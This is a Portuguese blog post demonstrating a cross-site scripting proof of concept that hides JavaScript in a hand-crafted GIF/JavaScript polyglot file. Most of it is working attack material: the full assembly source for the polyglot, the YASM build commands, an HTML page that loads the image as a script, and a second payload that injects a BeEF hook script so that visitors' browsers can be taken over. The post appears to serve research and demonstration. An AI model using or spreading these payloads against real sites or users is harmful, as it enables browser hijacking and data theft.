Ataque Cross-Site Script (XSS) utilizando esteganografia em arquivos de imagem

Share

Este post é uma demonstração de uma PoC de um ataque do tipo Cross-Site Scripting (XSS) utilizando esteganografia em arquivos GIF.

Esteganografia Digital é a arte de ocultar informações no interior de arquivos como imagens, áudio e até mesmo vídeos. O foco da Esteganografia é camuflar a mensagem mascarando a sua presença.

A diferença principal entre criptografia e esteganografia, é o fato da primeira existir a presença de uma mensagem na forma codificada, enquanto que na esteganografia esta informação não é visível. Uma mensagem criptografada permite ser detectada e até mesmo modificada caso seja interceptada. Com apenas a utilização da criptografia, a informação cifrada pode ser ilegível, mas este fato remete a existência de um segredo naquela cifra.

Essa técnica irá se basear na compilação do GIF à partir de um script ASM ( Assembly Language Source Code File), utilizando o YASM, que é um assembler baseado no NASM, sob a licença BSD (saiba mais).

O primeiro passo é editar o código ASM abaixo e salvá-lo como gifjs.asm, o qual será utilizado para gerar nosso GIF:

; a hand-made GIF containing valid JavaScript code
 ; abusing header to start a JavaScript comment
 ; inspired by Saumil Shah's Deadly Pixels presentation
 ; Ange Albertini, BSD Licence 2013
 WIDTH equ 10799 ; equivalent to 2f2a, which is '/*' in ASCII, thus starting an opening comment
 HEIGTH equ 10 ; just to make it easier to spot
 db 'GIF89a'
     dw WIDTH, HEIGTH
 db 0 ; GCT
     db -1 ;  background color
     db 0 ; default aspect ratio
     ;db 0fch, 0feh, 0fch
     ;times COLORS db 0, 0, 0    
 ; no need of Graphic Control Extension
  ; db 21h, 0f9h
  ; db GCESIZE ; size
  ; gce_start:
  ;     db 0 ; transparent background
  ;     dw 0 ; delay for anim
  ;     db 0 ; other transparent
  ; GCESIZE equ $ - gce_start
  ;     db 0 ; end of GCE
 db 02ch ; Image descriptor
     dw 0, 0 ; NW corner
     dw WIDTH, HEIGTH ; w/h of image
     db 0    ; color table
 db 2 ; lzw size
 ;db DATASIZE
 ;data_start:
 ;    db 00, 01, 04, 04
 ;    DATASIZE equ $ - data_start
 db 0
 db 3bh ; GIF terminator
 ; end of the GIF
 db '*/'  ; closing the comment
 db '=1;' ; creating a fake use of that GIF89a string
 db 'confirm("Exploited");'

Feito isso, usando uma distro Linux baseada em Debian, abra um terminal e instale o YASM, que será responsável por compilar o arquivo GIF a partir do código ASM acima:

apt install yasm

Agora gere o GIF com o seguinte comando:

 yasm gifjs.asm -o img.gif 

Crie uma página HTML que será usada como vetor para o ataque com esta sintaxe:

<html> 
<img src="img.gif"> <script src="img.gif"></script> 
</html> 

Abra a página em seu browser e receba o alerta JavaScript conforme a imagem abaixo:

XSS Stego no Firefox

Este ataque XSS poderia ser realizado de diversas formas, como por exemplo, utilizando-se o BeEF (no Kali Linux) e inserindo uma URL hook ao invés do alert em JavaScript.

No exemplo abaixo utilizei o seguinte código para exploitar o browser com o BeEF, inserindo uma URL hook na imagem:

root@h00ax:~/Desktop/YASM# cat gifjs2.asm 
; a hand-made GIF containing valid JavaScript code
; abusing header to start a JavaScript comment

; inspired by Saumil Shah's Deadly Pixels presentation

; Ange Albertini, BSD Licence 2013

; yamal gifjs.asm -o img.gif

WIDTH equ 10799 ; equivalent to 2f2a, which is '/*' in ASCII, thus starting an opening comment

HEIGTH equ 100 ; just to make it easier to spot

db 'GIF89a'
    dw WIDTH, HEIGTH

db 0 ; GCT
    db -1 ;  background color
    db 0 ; default aspect ratio
    ;db 0fch, 0feh, 0fch
    ;times COLORS db 0, 0, 0
    
; no need of Graphic Control Extension
 ; db 21h, 0f9h
 ; db GCESIZE ; size
 ; gce_start:
 ;     db 0 ; transparent background
 ;     dw 0 ; delay for anim
 ;     db 0 ; other transparent
 ; GCESIZE equ $ - gce_start
 ;     db 0 ; end of GCE

db 02ch ; Image descriptor
    dw 0, 0 ; NW corner
    dw WIDTH, HEIGTH ; w/h of image
    db 0    ; color table

db 2 ; lzw size

;db DATASIZE
;data_start:
;    db 00, 01, 04, 04
;    DATASIZE equ $ - data_start

db 0
db 3bh ; GIF terminator

; end of the GIF

db '*/'  ; closing the comment
db '=1;' ; creating a fake use of that GIF89a string

db 's = document.createElement("script");'
db 's.src = "http://127.0.0.1:3000/hook.js";'
db 'document.body.appendChild(s);'

Salve o arquivo como gifjs2.asm e compile com o YASM desta forma:

 yasm gifjs2.asm -o img2.gif 

Se lermos as strings da imagem veremos que o cabeçalho se mantém de um arquivo GIF padrão (GIF89a) porém é possível ler o código JavaScript.

O próximo passo é alterar a página HTML que geramos anteriormente para inserir a nova imagem que acabamos de compilar.

Abra a interface web do BeEF para receber o response do hook e acesse a página HTML maliciosa que criamos . Desta forma veremos no painel do BeEF as informações capturadas do browser através do GIF malicioso que compilamos.

O interessante desta técnica é que o navegador renderiza a imagem exploitada, independente da página HTML que criamos. Tente abrir esta imagem em um visualizador de arquivos e verá que ele acusa como arquivo corrompido, ao contrário do navegador que lê a imagem com o conteúdo malicioso embutido:

Esta PoC foi testada nos seguintes browsers:

  • Firefox 68.2.0esr (64-bit); e
  • Google Chromium Version 76.0.3809.100.

E a pesquisa foi realizada com base neste artigo.